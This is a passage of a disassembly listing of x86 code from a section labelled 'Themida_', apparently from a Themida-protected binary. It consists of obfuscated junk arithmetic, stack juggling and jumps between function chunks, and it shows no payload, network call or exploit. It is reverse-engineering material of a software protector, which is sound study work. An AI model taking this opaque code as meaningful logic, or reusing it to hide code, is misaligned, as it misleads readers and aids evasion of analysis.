		sub	dword ptr [esp+4], 301D5A5Ah
		sub	dword ptr [esp+4], 5627FF2h
		jmp	loc_5A8939
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A8082:				; CODE XREF: sub_5AE6FD-EFAj
		xor	ecx, 0CA8BB638h
		add	ebp, ecx
		jmp	loc_5AF008
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A808F:				; CODE XREF: sub_5A4F3D-71D5j
					; sub_5A4F3D+19B7j
		xor	edx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], edx
		jmp	loc_5AEF02
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A809A:				; CODE XREF: sub_599059+13303j
		push	211Fh
		jmp	loc_5A7E68
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A80A4:				; CODE XREF: Themida_:0059CBE2j
		push	ecx
		mov	ch, 3Fh
		sub	ch, 28h
		push	ebx
		jmp	loc_59BCDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A80B0:				; CODE XREF: sub_5AC95F-E88Bj
					; sub_59A932+83DDj
		pop	esp
		jmp	loc_59BD71
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_5A80B6:				; CODE XREF: Themida_:0059FAC2j
		add	eax, 1BDA2382h
		push	esi
		mov	esi, 535B3ADCh
		shr	esi, 6
		neg	esi
		add	esi, 2DD0A2C8h
		sub	eax, esi
		jmp	loc_5AD129

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A80D3	proc near		; CODE XREF: sub_59D99C+8D19j

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0059D4FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2366 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A345D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7EA5 SIZE 00000034 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A345D
sub_5A80D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A80E7:				; CODE XREF: sub_5A91EC-EAB6j
		jnz	loc_5A14A2
		shr	edx, 7
		dec	edx
		js	loc_5AF178
		mov	ah, 97h


loc_5A80F9:				; CODE XREF: sub_5AEBAF+Bj
		mov	[esp-20h+arg_1C], esp
		push	edi
		push	ecx
		push	50F053B6h
		jmp	loc_59FCD0
; END OF FUNCTION CHUNK	FOR sub_5A91EC

; =============== S U B	R O U T	I N E =======================================



sub_5A8108	proc near		; CODE XREF: sub_5A9228+2A39j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005991CB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A612 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CDD5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059D877 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0150 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A21F3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A8AC3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A97EB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A9DF5 SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A21F3
sub_5A8108	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B9F


loc_5A8110:				; CODE XREF: sub_5A1B9F-9CDDj
		add	ebx, eax
		sub	ebx, 7FA77D7Dh
		sub	ebx, 65B021C5h
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	sub_5AEA4A
; END OF FUNCTION CHUNK	FOR sub_5A1B9F
; ---------------------------------------------------------------------------


loc_5A8155:				; CODE XREF: Themida_:005A0B7Dj
		shl	edx, 4
		inc	edx
		shl	edx, 3
		jmp	loc_5A6D3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A8161:				; CODE XREF: sub_5A728F+7AA1j
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		jmp	loc_5A7520
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A816B:				; CODE XREF: sub_59B707+5FCEj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5A51E4
		push	1A3Dh
		mov	[esp+4+var_4], esi
		push	76D1445Fh
		jmp	loc_59CC02
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A8187:				; CODE XREF: sub_5AE6FD:loc_5A06D9j
		jmp	loc_59F2FC
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_5A818C:				; CODE XREF: sub_5AD9CC-144F5j
		push	[esp+8+var_4]
		pop	ecx
		jmp	loc_59EEB2
; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A8196:				; CODE XREF: sub_5AC95F-C9F2j
		add	edx, 4
		jmp	loc_59C954
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_5A81A1:				; CODE XREF: sub_59B333+11D63j
		push	0
		sub	[esp+0], edx
		pop	edx
		add	edx, 2F249832h
		push	6A49h
		jmp	loc_5AD42F
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A81BA:				; CODE XREF: sub_5AE0B5+7j
		mov	[esp+4+var_4], ebp
		jmp	loc_59A8B4
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A81C2:				; CODE XREF: sub_59FFBE-6EAAj
					; sub_59B707+1363Aj
		jmp	loc_59D93D
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A81C7:				; CODE XREF: Themida_:00599FC6j
		xor	edi, 5BD939D8h
		push	eax
		mov	eax, 5E7B23A1h
		jmp	loc_5A0E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A81D8:				; CODE XREF: sub_59D99C-1D66j
		add	ebp, 14131E94h
		shl	ebp, 1
		push	edi
		jmp	loc_59EBC3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A81E6:				; CODE XREF: sub_59CA4A+B973j
		push	edi
		jmp	loc_5ABFD3
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5A81EC:				; CODE XREF: Themida_:0059E063j
		pop	edx
		push	ecx
		push	ebp
		jmp	loc_59D109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A81F4:				; CODE XREF: sub_59B707+12078j
		shr	ebx, 7
		and	ebx, 2AF30ACBh
		or	ebx, 52896204h
		xor	ebx, 68364C2Eh
		sub	ebx, 3ADD2626h
		sub	eax, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		jmp	loc_5A6390
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A8225:				; CODE XREF: sub_59ACCE+3D4Ej
		add	edx, 3CE331AEh
		jmp	loc_59F22C
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_5A8230:				; CODE XREF: sub_5AD830-DCF1j
		pop	ebx
		add	esp, 4
		jmp	loc_5A4321
; END OF FUNCTION CHUNK	FOR sub_5AD830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A823C:				; CODE XREF: sub_5A600F+3AB5j
		sub	edi, 0E695B150h
		xor	ecx, edi
		pop	edi
		mov	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_5A96DA
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8255:				; CODE XREF: sub_5A8D43+31EFj
		mov	eax, [esp+0Ch+var_C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		mov	ebp, 4
		sub	esi, ebp
		jmp	loc_5ABD60
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A828B:				; CODE XREF: Themida_:005A9988j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A610A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A829F:				; CODE XREF: sub_597F0C+112BEj
		xor	edx, esi
		pop	esi
		jmp	loc_5A6C54
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A82A7:				; CODE XREF: sub_59DFDD-1C61j
		not	ebp
		neg	ebp
		jmp	loc_5AEC9B
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A82B0:				; CODE XREF: sub_5AC95F-110C6j
		push	7295h
		mov	[esp+8+var_8], edi
		push	ebx
		mov	ebx, 73002194h
		dec	ebx
		and	ebx, 57E45084h
		push	esi
		mov	esi, 0DC36BB9h
		jmp	loc_59F111
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A82D0:				; CODE XREF: Themida_:005A5F29j
		sub	edx, ebp
		pop	ebp
		jmp	sub_5A6F21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A82D8:				; CODE XREF: sub_5A8D43-6D1Cj
		sub	ebx, ecx
		jmp	loc_59E77F
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A82DF:				; CODE XREF: sub_5A4F3D+A0C6j
		pop	ecx
		pop	ebx
		add	eax, esi
		push	esi
		mov	esi, 8C233C2h
		xor	esi, 225655B8h
		and	esi, 721C38B1h
		xor	esi, 435F5D38h
		sub	eax, esi
		jmp	loc_59B39F
; END OF FUNCTION CHUNK	FOR sub_5A4F3D

; =============== S U B	R O U T	I N E =======================================



sub_5A8302	proc near		; CODE XREF: sub_59CA4A-2AAEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A9D73 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_5A9D73
sub_5A8302	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A830D:				; CODE XREF: sub_5A7343-A77Cj
		xor	dl, bh
		sub	dl, 0F6h
		jmp	loc_59DBE4
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A8317:				; CODE XREF: sub_5AC95F-AB63j
					; sub_5A1076:loc_5A9183j ...
		jmp	loc_59F21F
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A831C:				; CODE XREF: sub_5A8C33-C1BCj
		add	eax, 46DB3716h
		sub	eax, ebp
		push	ecx
		mov	ecx, 1AE90FAAh
		inc	ecx
		and	ecx, 2B2140BFh
		jmp	loc_5AE705
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A8335:				; CODE XREF: sub_59D7E7-3000j
		not	eax
		jmp	loc_59C760
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A833C:				; CODE XREF: sub_59D99C+A63j
		add	edx, 249E1D20h
		add	edx, eax
		jmp	loc_5A759E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A8349:				; CODE XREF: Themida_:005A09C6j
		mov	bl, al
		pop	eax
		pop	ecx
		push	edx
		mov	dh, 0BDh
		sub	dh, 0C4h
		sub	dh, 61h
		or	dh, 0C4h
		xor	dh, 5Eh
		jmp	loc_5A6A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A8361:				; CODE XREF: sub_5A7343+1133j
		xor	ecx, 0BBA09C8h
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		add	edx, 93B5BC7h
		pop	ebp
		push	esi
		jmp	loc_5A24AE
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD76F


loc_5A8379:				; CODE XREF: sub_5AD76F-BA5Bj
		pop	eax
		and	eax, ebp
		mov	ebp, [esp-14h+arg_10]
		jmp	loc_5AD498
; END OF FUNCTION CHUNK	FOR sub_5AD76F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A8384:				; CODE XREF: sub_59C53B+4ADBj
		pop	ecx
		sub	ecx, 4B7B5022h
		jmp	loc_5AE49D
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A8390:				; CODE XREF: sub_5AE6FD+3j
		shl	bl, 3
		push	eax
		jmp	loc_5A34E4
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5A8399:				; CODE XREF: Themida_:0059999Bj
		sub	edi, 5B79A89Ah
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_5A2812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A83A9:				; CODE XREF: sub_5A17D6+4A19j
					; sub_5A8C33+1833j
		push	esi
		mov	esi, 452979D4h
		jmp	loc_5A12BE
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A83B4:				; CODE XREF: sub_59CA4A+6CE3j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A81E6
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A8D4


loc_5A83C2:				; CODE XREF: sub_59A8D4+E521j
		xchg	ecx, ebx
		sub	ebx, 367C7AC7h
		sub	ebx, 0ACBF7C94h
		push	ebx
		pop	ebp
		pop	ebx
		and	ecx, ebp
		jmp	loc_59E40C
; END OF FUNCTION CHUNK	FOR sub_59A8D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5A83DA:				; CODE XREF: sub_59D00D+2F05j
		shr	ecx, 1
		jmp	loc_5AB76E
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------


loc_5A83E1:				; CODE XREF: Themida_:005A1F8Aj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5AB6DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5A83EC:				; CODE XREF: sub_5A6DA1-21E1j
		pop	edi
		add	esi, 1
		push	edi
		jmp	loc_59BE20
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A83F6:				; CODE XREF: sub_59FFBE:loc_5A46ABj
		push	eax
		jmp	loc_5A712F
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A83FC:				; CODE XREF: sub_5AC95F-5FB7j
		mov	bl, 0CDh
		mov	ch, bl
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		and	bl, ch
		pop	cx
		sub	bl, 0D4h
		js	loc_59C452
		dec	bl
		jmp	loc_5A3D6D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5A841D:				; CODE XREF: sub_59CFBF+7621j
		push	esi
		mov	esi, 3A9E4037h
		push	esi
		push	edx
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59F383
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------


loc_5A8433:				; CODE XREF: Themida_:005ADFC2j
		pop	eax
		push	ecx
		jmp	loc_599D7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A843A:				; CODE XREF: sub_59ACEC-1AD9j
		add	edi, 61C6362Dh
		std
		push	edx
		push	6871h
		mov	[esp+14h+var_14], ebx
		mov	ebx, 430E0422h
		inc	ebx
		jmp	loc_5ADF7C
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5A8455:				; CODE XREF: sub_5A36E3-3E47j
		pop	edi
		push	eax
		jmp	sub_59AE49
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A845C:				; CODE XREF: sub_5986D6+13C9Fj
		push	eax
		jmp	loc_5AE59E
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A8462:				; CODE XREF: sub_5A7343-27B0j
		mov	esi, 1715BDAh
		add	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 29AC3BBCh
		push	ecx
		mov	ecx, 281520Fh
		jmp	loc_5A8361
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A847B:				; CODE XREF: sub_59D99C+BF87j
		jmp	loc_59E5F6
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A8480:				; CODE XREF: Themida_:005A4A1Cj
		push	50A9h
		mov	[esp], ecx
		mov	ch, 47h
		mov	al, 0A6h
		jmp	loc_5A1CD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5A8491:				; CODE XREF: sub_59D00D+2DFAj
		neg	edx
		sub	edx, 0BE5EB150h
		jmp	loc_5A2292
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A849E:				; CODE XREF: sub_599059+11280j
		pop	edx
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_59CBE7
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A84AA:				; CODE XREF: sub_5A3F42-A722j
					; sub_5A7343+17EBj
		push	ecx
		push	38B5734Dh
		jmp	loc_5A46D9
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB511


loc_5A84B5:				; CODE XREF: sub_5AB511-A747j
		not	edx
		add	edx, 35C98305h
		jmp	loc_5AB7FF
; END OF FUNCTION CHUNK	FOR sub_5AB511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADB3A


loc_5A84C2:				; CODE XREF: sub_5ADB3A-5EB1j
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 6E844648h
		jmp	loc_5A6F2C
; END OF FUNCTION CHUNK	FOR sub_5ADB3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5A84D5:				; CODE XREF: sub_5ADE3B-3E38j
		pop	edx
		jmp	loc_597EEA
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 53947h
		jmp	loc_5A4BEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A84FE:				; CODE XREF: sub_5AEE2E-4213j
		mov	eax, 22A389B4h
		xor	ebp, eax
		jmp	loc_5A5AB5
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A850A:				; CODE XREF: sub_59D24A+921Cj
		mov	dh, 2Fh
		shl	dh, 1
		xor	dh, 69h
		add	bl, 2Ch
		add	bl, dh
		sub	bl, 2Ch
		pop	edx
		add	bl, al
		jmp	loc_5A0EBE
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5A8521:				; CODE XREF: Themida_:00599B46j
		add	edx, 6A5F4E0Dh
		push	esi
		mov	esi, 7D0C559Bh
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A5AE8
; ---------------------------------------------------------------------------


loc_5A8546:				; CODE XREF: Themida_:005A1CF3j
		add	esi, 1D1964E1h
		push	esi
		pop	ebx
		pop	esi
		shr	ebx, 3
		shr	ebx, 1
		dec	ebx
		inc	ebx
		xor	ebx, 1ED25E5h
		add	esi, ebx
		jmp	loc_5A1696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A8563:				; CODE XREF: sub_5A600F+384Aj
		pop	esp
		sub	esp, 4
		jmp	loc_5A7C11
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A856C:				; CODE XREF: sub_5A41D6-6D67j
		pop	edi
		sub	esi, edi
		pop	edi
		xor	esi, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], esi
		xor	esi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		jmp	loc_5AE840
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8581:				; CODE XREF: sub_5A8D43+632Cj
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], edx
		push	eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A858E:				; CODE XREF: sub_599059+9032j
		xor	esi, 0EDEB655Ch
		add	edi, esi
		pop	esi
		xor	edi, 32715FF0h
		jmp	loc_5A8B33
; ---------------------------------------------------------------------------


loc_5A85A2:				; CODE XREF: sub_599059+A17Ej
		pop	eax
		push	[esp-0Ah+arg_6]
		mov	ebp, [esp-6+arg_0+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59D6E3
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A85BA:				; CODE XREF: sub_5A7343-E47j
		xor	edi, 19383954h
		push	ebx
		push	esi
		mov	esi, 36743C1Dh
		inc	esi
		jz	loc_59E2B9
		jmp	loc_5AE8BD
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A85D3:				; CODE XREF: sub_59D99C+6980j
		add	edi, 0FC4DF636h
		add	ebp, edi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	edi
		jmp	loc_59C459
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_5A85EA:				; CODE XREF: sub_59BD3A-132Fj
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AC4E4
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------


loc_5A85FD:				; CODE XREF: Themida_:005ADC03j
		mov	[esp], eax
		push	6516h
		mov	[esp], esi
		mov	esi, 7D2E501Ah
		mov	eax, esi
		pop	esi
		not	eax
		shl	eax, 1
		neg	eax
		xor	eax, 0A77CE52Fh
		jmp	loc_59DB62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8620:				; CODE XREF: sub_5A8D43-D2D4j
		or	cl, 45h
		neg	cl
		jz	loc_5A3B09
		jmp	loc_5A367E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A8630:				; CODE XREF: sub_59C53B-2D5Ej
		add	ecx, 4B914E6Eh
		sub	ecx, ebp
		jmp	loc_59A6A7
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A863D:				; CODE XREF: sub_59D99C+8459j
		pop	ebx
		add	edx, 10751F12h
		sub	edx, 2608513Dh
		sub	edx, ecx
		add	edx, 2608513Dh
		jmp	loc_5AC2B4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A8657:				; CODE XREF: sub_5A8C33-ECE5j
		add	edx, 75E91FE0h
		mov	ecx, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		jmp	loc_5982F2
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A8677:				; CODE XREF: sub_5A600F+74Aj
		xor	ebx, 680770F5h
		push	72C2h
		mov	[esp+14h+var_14], ecx
		mov	ecx, 36BC2C36h
		dec	ecx
		jmp	loc_5ADA07
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A8690:				; CODE XREF: sub_5AB88E:loc_5A1E40j
		jmp	loc_5A56BD
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A8695:				; CODE XREF: sub_5A728F-AC90j
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A7C8E
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A86B6:				; CODE XREF: sub_597F0C+B9D7j
		jmp	loc_598166
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A86BB:				; CODE XREF: sub_5A8C33-6390j
					; Themida_:005A79E9j
		jmp	loc_598D5C
; ---------------------------------------------------------------------------


loc_5A86C0:				; CODE XREF: sub_5A8C33+1289j
		mov	[esp+4+var_4], ebx
		jmp	loc_5AE557
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_5A86C8:				; CODE XREF: sub_5AB531-138DBj
		xor	edx, [esp+0]
		xor	[esp+0], edx
		jmp	loc_59B84E
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------


loc_5A86D3:				; CODE XREF: Themida_:00597FDDj
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 34D2724h
		add	edi, 1
		add	edi, 6E7D775Bh
		jmp	loc_5AC7F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB511


